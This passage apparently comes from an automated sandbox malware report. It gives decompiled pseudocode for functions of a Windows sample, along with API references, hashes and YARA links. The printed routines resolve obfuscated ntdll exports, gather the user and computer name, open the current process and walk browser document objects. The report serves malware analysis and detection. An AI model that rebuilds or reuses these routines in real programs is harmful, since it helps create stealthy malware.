Instruction Fuzzy Hash: B83130B6900288BFDB11AFE4CC88DDEBBBDEB04346F004469F606A7210E735AD45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 04631BB6, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E04631BB6(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x463d2a8; // 0xb2a5a8
				_t1 = _t9 + 0x463e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E0463173D(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E0463A71F(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E046364EF(_t34, _t41, _a8);
						E0463A734(_t41);
						_t42 = E04636467(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E0463A734(_t36);
							_t36 = _t42;
						}
						_t43 = E046317E5(_t36, _t33);
						if(_t43 != 0) {
							E0463A734(_t36);
							_t36 = _t43;
						}
					}
					E0463A734(_t28);
				}
				return _t36;
			}

0x04631bb6
0x04631bb9
0x04631bba
0x04631bc2
0x04631bc9
0x04631bd0
0x04631bd4
0x04631bda
0x04631be1
0x04631be6
0x04631bf8
0x04631bfc
0x04631c00
0x04631c06
0x04631c0b
0x04631c1b
0x04631c1d
0x04631c34
0x04631c38
0x04631c3b
0x04631c40
0x04631c40
0x04631c49
0x04631c4d
0x04631c50
0x04631c55
0x04631c55
0x04631c4d
0x04631c58
0x04631c58
0x04631c63

APIs

Part of subcall function 0463173D: lstrlen.KERNEL32(00000000,00000000,00000000,74ECC740,?,?,?,04631BD0,253D7325,00000000,00000000,74ECC740,?,?,046320C2,?), ref: 046317A4
Part of subcall function 0463173D: sprintf.NTDLL ref: 046317C5

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,046320C2,?,051695B0), ref: 04631BE1
lstrlen.KERNEL32(?,?,?,046320C2,?,051695B0), ref: 04631BE9

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

strcpy.NTDLL ref: 04631C00
lstrcat.KERNEL32(00000000,?), ref: 04631C0B

Part of subcall function 046364EF: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,04631C1A,00000000,?,?,?,046320C2,?,051695B0), ref: 04636506

Part of subcall function 0463A734: RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,046320C2,?,051695B0), ref: 04631C28

Part of subcall function 04636467: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,04631C34,00000000,?,?,046320C2,?,051695B0), ref: 04636471
Part of subcall function 04636467: _snprintf.NTDLL ref: 046364CF

Strings

=, xrefs: 04631C22

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 984ac3b2df51d01697e6b02968c0e96880bf6e485d42ff29e84f513b5a64103f
Instruction ID: bfd9914ba8e3a326d36416e04873ce140381c3e727e3431b46c9b99b3f84a2b4
Opcode Fuzzy Hash: 984ac3b2df51d01697e6b02968c0e96880bf6e485d42ff29e84f513b5a64103f
Instruction Fuzzy Hash: FF11067B9012E4779712B7F48C84CAE36BDCE56A5B3054019FA00A7200FE38EC0297E4

Uniqueness

Uniqueness Score: -1.00%

Function 04636891, Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 046368EB
SysAllocString.OLEAUT32(0070006F), ref: 046368FF
SysAllocString.OLEAUT32(00000000), ref: 04636911
SysFreeString.OLEAUT32(00000000), ref: 04636979
SysFreeString.OLEAUT32(00000000), ref: 04636988
SysFreeString.OLEAUT32(00000000), ref: 04636993

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 358ebc06398a6090793cebae0c70477b4f307c2eaa2c9fe6e055bfca9851685c
Instruction ID: 0b53dfa47d1ff217af8cfd69b116829c3705e5eb671371c9d71bdb363d73e41f
Opcode Fuzzy Hash: 358ebc06398a6090793cebae0c70477b4f307c2eaa2c9fe6e055bfca9851685c
Instruction Fuzzy Hash: EF417F32D00649BFDB11DFB8D844A9EB7BAEF88305F144425E914EB260EB71ED05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0463592D, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0463592D(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E0463A71F(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x463d2a8; // 0xb2a5a8
					_t1 = _t23 + 0x463e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x463d2a8; // 0xb2a5a8
					_t2 = _t26 + 0x463e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E0463A734(_t54);
					} else {
						_t30 =  *0x463d2a8; // 0xb2a5a8
						_t5 = _t30 + 0x463e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x463d2a8; // 0xb2a5a8
							_t7 = _t33 + 0x463e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x463d2a8; // 0xb2a5a8
								_t9 = _t36 + 0x463e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x463d2a8; // 0xb2a5a8
									_t11 = _t39 + 0x463e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E04636604(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x0463593c
0x04635940
0x04635a02
0x04635946
0x04635946
0x0463594b
0x0463595e
0x04635960
0x04635965
0x0463596d
0x04635974
0x04635976
0x0463597b
0x046359fa
0x046359fb
0x0463597d
0x0463597d
0x04635982
0x0463598a
0x0463598c
0x04635991
0x00000000
0x04635993
0x04635993
0x04635998
0x046359a0
0x046359a2
0x046359a7
0x00000000
0x046359a9
0x046359a9
0x046359ae
0x046359b6
0x046359b8
0x046359bd
0x00000000
0x046359bf
0x046359bf
0x046359c4
0x046359cc
0x046359ce
0x046359d3
0x00000000
0x046359d5
0x046359db
0x046359e0
0x046359e7
0x046359ec
0x046359f1
0x00000000
0x046359f3
0x046359f6
0x046359f6
0x046359f1
0x046359d3
0x046359bd
0x046359a7
0x04635991
0x0463597b
0x04635a10

APIs

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04638EBD,?,00000001,?,?,00000000,00000000), ref: 04635952
GetProcAddress.KERNEL32(00000000,7243775A), ref: 04635974
GetProcAddress.KERNEL32(00000000,614D775A), ref: 0463598A
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 046359A0
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 046359B6
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 046359CC

Part of subcall function 04636604: memset.NTDLL ref: 04636683

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: 9e267a4427c9ce69794ed8b74ad9ba8fd5032854971bbf60dd25031c0c60a312
Instruction ID: 237850b803c15ab66309dd2427ff5d5befb70552f94794874b89d73fa4994fb4
Opcode Fuzzy Hash: 9e267a4427c9ce69794ed8b74ad9ba8fd5032854971bbf60dd25031c0c60a312
Instruction Fuzzy Hash: D9215EB56006CAAFD710DFA9C884D56B7FCEF24346B018126E946C7351FB74E9058B60

Uniqueness

Uniqueness Score: -1.00%

Function 0463A199, Relevance: 7.6, APIs: 5, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0463A199() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t64 = E0463A71F(_v12 + _t43 + 2 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E0463A734(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x4631fd4
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x0463a1a7
0x0463a1aa
0x0463a1ad
0x0463a1b3
0x0463a1b8
0x0463a1be
0x0463a1c6
0x0463a1c9
0x0463a1cf
0x0463a1d4
0x0463a1e1
0x0463a1ee
0x0463a1f2
0x0463a1f4
0x0463a1f8
0x0463a1fb
0x0463a20b
0x0463a25e
0x0463a25f
0x0463a20d
0x0463a212
0x0463a213
0x0463a218
0x0463a21b
0x0463a22e
0x00000000
0x0463a230
0x0463a233
0x0463a238
0x0463a246
0x0463a249
0x0463a24f
0x0463a254
0x00000000
0x0463a256
0x0463a256
0x0463a259
0x0463a259
0x0463a254
0x0463a22e
0x0463a264
0x0463a265
0x0463a1d4
0x0463a26b

APIs

GetUserNameW.ADVAPI32(00000000,04631FD2), ref: 0463A1AD
GetComputerNameW.KERNEL32(00000000,04631FD2), ref: 0463A1C9

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

GetUserNameW.ADVAPI32(00000000,04631FD2), ref: 0463A203
GetComputerNameW.KERNEL32(04631FD2,?), ref: 0463A226
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,04631FD2,00000000,04631FD4,00000000,00000000,?,?,04631FD2), ref: 0463A249

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: 603338f9e3ea4f0249c9688f2b9e87648082e1216d91d910ecb2e915ecf3a2a2
Instruction ID: 0b176022eaec4a491de018ae3d8f536aa9d018487ff47f97bb2b82043d40d40b
Opcode Fuzzy Hash: 603338f9e3ea4f0249c9688f2b9e87648082e1216d91d910ecb2e915ecf3a2a2
Instruction Fuzzy Hash: 55210A76A01248FFDB11DFE4C9848EEBBB8EF54305B1444AAE541E7244E735AB04DB60

Uniqueness

Uniqueness Score: -1.00%

Function 04633DE9, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E04633DE9(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E04635AF1(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E0463A81C(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x463d128() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x04633de9
0x04633df6
0x04633df8
0x04633e5b
0x00000000
0x04633e5b
0x04633e10
0x04633e17
0x04633e23
0x04633e28
0x04633e2a
0x04633e2c
0x04633e2e
0x04633e30
0x04633e32
0x04633e3e
0x04633e4e
0x00000000
0x04633e40
0x04633e40
0x04633e47
0x04633e54
0x04633e54
0x04633e54
0x04633e47
0x04633e3e
0x04633e59
0x00000000
0x00000000
0x04633e5f

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,046367B8,?,?,00000000,00000000), ref: 04633E23
ResetEvent.KERNEL32(?), ref: 04633E28
GetLastError.KERNEL32 ref: 04633E40
GetLastError.KERNEL32(?,?,00000102,046367B8,?,?,00000000,00000000), ref: 04633E5B

Part of subcall function 04635AF1: lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,04633E08,?,?,?,?,00000102,046367B8,?,?,00000000), ref: 04635AFD
Part of subcall function 04635AF1: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04633E08,?,?,?,?,00000102,046367B8,?), ref: 04635B5B
Part of subcall function 04635AF1: lstrcpy.KERNEL32(00000000,00000000), ref: 04635B6B

SetEvent.KERNEL32(?), ref: 04633E4E

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: a55ca2c72d46ff7881b1024e86e1d3ffa638a58dfe984feffcf5e0fc35cfd920
Instruction ID: 33f95dfca077b21abe35689ce7c6ca61c1f2cdf5ea5ff3b3704923740cb20d96
Opcode Fuzzy Hash: a55ca2c72d46ff7881b1024e86e1d3ffa638a58dfe984feffcf5e0fc35cfd920
Instruction Fuzzy Hash: 8A014F321042C1ABE7306B61DC44F1BB7A4EF5476AF104A26F951A12E0F771E845AB65

Uniqueness

Uniqueness Score: -1.00%

Function 04633E69, Relevance: 7.5, APIs: 5, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04633E69(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x463d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x463d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x463d258 = _t6;
					 *0x463d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x463d254 = _t7;
					if(_t7 == 0) {
						 *0x463d254 =  *0x463d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}

0x04633e71
0x04633e77
0x04633e7e
0x00000000
0x04633ed8
0x04633e80
0x04633e88
0x04633e95
0x04633e95
0x04633ed5
0x00000000
0x04633ed5
0x04633e97
0x04633e97
0x04633e9c
0x04633eae
0x04633eb3
0x04633eb9
0x04633ebf
0x04633ec6
0x04633ec8
0x04633ec8
0x00000000
0x04633ecf
0x04633e91
0x00000000
0x00000000
0x04633e93
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,0463131F,?,?,00000001,?,?,?,04634EF2,?), ref: 04633E71
GetVersion.KERNEL32(?,00000001,?,?,?,04634EF2,?), ref: 04633E80
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,04634EF2,?), ref: 04633E9C
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,04634EF2,?), ref: 04633EB9
GetLastError.KERNEL32(?,00000001,?,?,?,04634EF2,?), ref: 04633ED8

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 797df01dc25679113245dbd7397e1957f861832ec1890ba3667d4db99c355a53
Instruction ID: ded2f4ab5eae409c3c11abba352b891670b9b497c1890574cbef6f65020e73ba
Opcode Fuzzy Hash: 797df01dc25679113245dbd7397e1957f861832ec1890ba3667d4db99c355a53
Instruction Fuzzy Hash: 4BF08C716443C2AFE7208F34A909B197B62EB80703F001516FA02DA3D4F7B9E881CB14

Uniqueness

Uniqueness Score: -1.00%

Function 04636F3A, Relevance: 6.2, APIs: 4, Instructions: 154
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E04636F3A(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x463d2a8; // 0xb2a5a8
					_t5 = _t103 + 0x463e038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x463c290);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x463d2a8; // 0xb2a5a8
												_t28 = _t109 + 0x463e0bc; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x463d2a8; // 0xb2a5a8
														_t33 = _t79 + 0x463e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}

0x04636f3f
0x04636f48
0x04636f49
0x04636f4d
0x04636f53
0x04636f59
0x04636f62
0x04636f68
0x04636f72
0x04636f74
0x04636f7a
0x04636f7f
0x04636f8a
0x04636f90
0x04636f95
0x046370b7
0x04636f9b
0x04636f9b
0x04636fa8
0x04636fae
0x04636fb4
0x04636fb8
0x04636fbe
0x04636fcb
0x04636fcf
0x04636fd5
0x04636fd8
0x04636fe0
0x04636fe1
0x04636fe5
0x04636fe9
0x04636fec
0x04636fef
0x04636ff5
0x04636ffe
0x04637004
0x04637005
0x04637008
0x04637009
0x0463700a
0x04637012
0x04637013
0x04637014
0x04637016
0x0463701a
0x0463701e
0x00000000
0x00000000
0x04637024
0x0463702d
0x04637033
0x0463703d
0x04637041
0x04637043
0x04637050
0x04637054
0x0463705c
0x04637061
0x04637073
0x04637075
0x0463707b
0x0463707b
0x04637084
0x04637084
0x04637086
0x0463708c
0x0463708c
0x0463708f
0x04637095
0x04637098
0x046370a1
0x00000000
0x00000000
0x00000000
0x046370a1
0x04636ff5
0x04636fef
0x04636fd8
0x046370a7
0x046370a7
0x046370ad
0x046370ad
0x046370b3
0x046370b3
0x046370bc
0x046370c2
0x046370c2
0x04636f7f
0x046370cb

APIs

SysAllocString.OLEAUT32(0463C290), ref: 04636F8A
lstrcmpW.KERNEL32(00000000,0076006F), ref: 0463706B
SysFreeString.OLEAUT32(00000000), ref: 04637084
SysFreeString.OLEAUT32(?), ref: 046370B3

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: 590aaa8eeaa470f24c705e241844c3f009e64ca33e2e56fff12bec0618d59986
Instruction ID: 58990ec4fc928ebf6db7db7366918659f27f878ab711b49057e93e3030b335f8
Opcode Fuzzy Hash: 590aaa8eeaa470f24c705e241844c3f009e64ca33e2e56fff12bec0618d59986
Instruction Fuzzy Hash: 565100B5D00559EFCB10DFE8C488DAEB7B5EF89706B148598E915EB310E732AD41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 046353C6, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E046353C6(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E04631AD1(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E046350FF(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E04635745(_t101,  &_v236, _a8, _t96 - _t81);
					E04635745(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E046350FF(_t101,  &E0463D1B0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E046350FF(_a16, _a4);
						E04635088(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L0463AF2E();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L0463AF28();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E04635F21(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E046390C2(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E04636044(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(_a8 * 4 +  &E0463D1B0) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x046353c9
0x046353d5
0x046353db
0x046353e0
0x046353e4
0x04635541
0x04635545
0x04635545
0x046353ea
0x046353ee
0x046353f2
0x046353f5
